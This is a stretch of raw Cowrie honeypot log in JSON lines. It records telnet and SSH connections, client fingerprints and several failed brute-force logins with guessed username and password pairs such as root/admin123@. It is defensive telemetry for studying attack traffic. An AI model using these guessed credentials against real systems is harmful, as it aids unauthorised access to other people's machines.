{"eventid":"cowrie.session.closed","duration":35.9900860786438,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:43.413618Z","src_ip":"128.199.8.54","session":"fd73968dd90b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.215309381484985,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:46.512393Z","src_ip":"128.199.8.54","session":"5526cac1b6a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99498677253723,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:51.011309Z","src_ip":"128.199.8.54","session":"db858a1b85d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":4979,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93c7e82b6ae","protocol":"telnet","message":"New connection: 212.55.149.117:4979 (10.17.0.5:23) [session: c93c7e82b6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:53.994900Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54492,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fc7f1256cde","protocol":"telnet","message":"New connection: 128.199.8.54:54492 (159.203.135.109:23) [session: 7fc7f1256cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:00.902514Z"}
{"eventid":"cowrie.session.closed","duration":34.29783248901367,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:07.027371Z","src_ip":"128.199.8.54","session":"abff87b10827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":14799,"dst_ip":"10.17.0.5","dst_port":23,"session":"5918ec123df7","protocol":"telnet","message":"New connection: 212.55.149.117:14799 (10.17.0.5:23) [session: 5918ec123df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:20.558136Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":44592,"dst_ip":"159.203.135.109","dst_port":22,"session":"c020523d4437","protocol":"ssh","message":"New connection: 118.194.229.94:44592 (159.203.135.109:22) [session: c020523d4437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:26.712058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:26.717243Z","src_ip":"118.194.229.94","session":"c020523d4437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:26.888607Z","src_ip":"118.194.229.94","session":"c020523d4437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser1","password":"vpnuser1","message":"login attempt [vpnuser1/vpnuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:27.607838Z","src_ip":"118.194.229.94","session":"c020523d4437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:28.782520Z","src_ip":"118.194.229.94","session":"c020523d4437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.42772603034973,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:31.938543Z","src_ip":"212.55.149.117","session":"be4f7f7136df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39534616470337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:12:32.297711Z","src_ip":"128.199.8.54","session":"7fc7f1256cde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33814,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddae02c48c43","protocol":"telnet","message":"New connection: 128.199.8.54:33814 (159.203.135.109:23) [session: ddae02c48c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:01.608682Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":10018,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e777b37455","protocol":"telnet","message":"New connection: 212.55.149.117:10018 (10.17.0.5:23) [session: 02e777b37455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:03.488967Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b304c5b884a","protocol":"telnet","message":"New connection: 212.55.149.117:57264 (10.17.0.5:23) [session: 6b304c5b884a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:09.748020Z"}
{"eventid":"cowrie.session.closed","duration":120.00307965278625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:13.564977Z","src_ip":"212.55.149.117","session":"91c36439ca55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28242,"dst_ip":"10.17.0.5","dst_port":22,"session":"c29447803b66","protocol":"ssh","message":"New connection: 194.59.206.2:28242 (10.17.0.5:22) [session: c29447803b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:23.542073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:23.546776Z","src_ip":"194.59.206.2","session":"c29447803b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:23.632646Z","src_ip":"194.59.206.2","session":"c29447803b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:23.723269Z","src_ip":"194.59.206.2","session":"c29447803b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.82713842391968,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:34.435686Z","src_ip":"128.199.8.54","session":"ddae02c48c43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145697593689,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:13:53.996219Z","src_ip":"212.55.149.117","session":"c93c7e82b6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45648,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a1bdb62b0fd","protocol":"telnet","message":"New connection: 128.199.8.54:45648 (159.203.135.109:23) [session: 6a1bdb62b0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:04.900678Z"}
{"eventid":"cowrie.session.closed","duration":58.82383871078491,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:08.571759Z","src_ip":"212.55.149.117","session":"6b304c5b884a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01316118240356,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:20.571159Z","src_ip":"212.55.149.117","session":"5918ec123df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":34736,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ac06aeb8421","protocol":"ssh","message":"New connection: 118.194.229.94:34736 (159.203.135.109:22) [session: 1ac06aeb8421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:20.640612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:20.645702Z","src_ip":"118.194.229.94","session":"1ac06aeb8421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:20.803104Z","src_ip":"118.194.229.94","session":"1ac06aeb8421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qqqqqqq","message":"login attempt [admin/qqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:21.462334Z","src_ip":"118.194.229.94","session":"1ac06aeb8421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:22.622310Z","src_ip":"118.194.229.94","session":"1ac06aeb8421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":55810,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b286152df8","protocol":"telnet","message":"New connection: 212.55.149.117:55810 (10.17.0.5:23) [session: b1b286152df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:32.642283Z"}
{"eventid":"cowrie.session.closed","duration":32.92667484283447,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:37.827244Z","src_ip":"128.199.8.54","session":"6a1bdb62b0fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36494,"dst_ip":"10.17.0.5","dst_port":22,"session":"657e595443a7","protocol":"ssh","message":"New connection: 103.15.226.202:36494 (10.17.0.5:22) [session: 657e595443a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:44.164894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:44.169222Z","src_ip":"103.15.226.202","session":"657e595443a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:44.408213Z","src_ip":"103.15.226.202","session":"657e595443a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@","message":"login attempt [root/admin123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:45.123945Z","src_ip":"103.15.226.202","session":"657e595443a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:14:46.364680Z","src_ip":"103.15.226.202","session":"657e595443a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.32859373092651,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:15:02.817461Z","src_ip":"212.55.149.117","session":"02e777b37455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.24240016937256,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:15:29.884537Z","src_ip":"212.55.149.117","session":"b1b286152df8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":2767,"dst_ip":"10.17.0.5","dst_port":22,"session":"783362fe0ade","protocol":"ssh","message":"New connection: 79.127.181.103:2767 (10.17.0.5:22) [session: 783362fe0ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:15:42.769597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:15:42.970701Z","src_ip":"79.127.181.103","session":"783362fe0ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:15:43.164708Z","src_ip":"79.127.181.103","session":"783362fe0ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:15:43.171659Z","src_ip":"79.127.181.103","session":"783362fe0ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56894,"dst_ip":"159.203.135.109","dst_port":23,"session":"679e9af89a89","protocol":"telnet","message":"New connection: 128.199.8.54:56894 (159.203.135.109:23) [session: 679e9af89a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:15:44.647622Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34702,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5a5b6d1231","protocol":"telnet","message":"New connection: 128.199.8.54:34702 (159.203.135.109:23) [session: cd5a5b6d1231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:07.282796Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":41144,"dst_ip":"159.203.135.109","dst_port":22,"session":"e630f0e26643","protocol":"ssh","message":"New connection: 43.160.242.74:41144 (159.203.135.109:22) [session: e630f0e26643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:10.785381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:10.790216Z","src_ip":"43.160.242.74","session":"e630f0e26643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:11.036524Z","src_ip":"43.160.242.74","session":"e630f0e26643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"test123","message":"login attempt [es/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:12.050138Z","src_ip":"43.160.242.74","session":"e630f0e26643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":38344,"dst_ip":"159.203.135.109","dst_port":22,"session":"f23041f4e1e8","protocol":"ssh","message":"New connection: 118.194.229.94:38344 (159.203.135.109:22) [session: f23041f4e1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:12.318793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:12.324007Z","src_ip":"118.194.229.94","session":"f23041f4e1e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:12.483453Z","src_ip":"118.194.229.94","session":"f23041f4e1e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123","message":"login attempt [server/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:13.151611Z","src_ip":"118.194.229.94","session":"f23041f4e1e8","protocol":"ssh"}
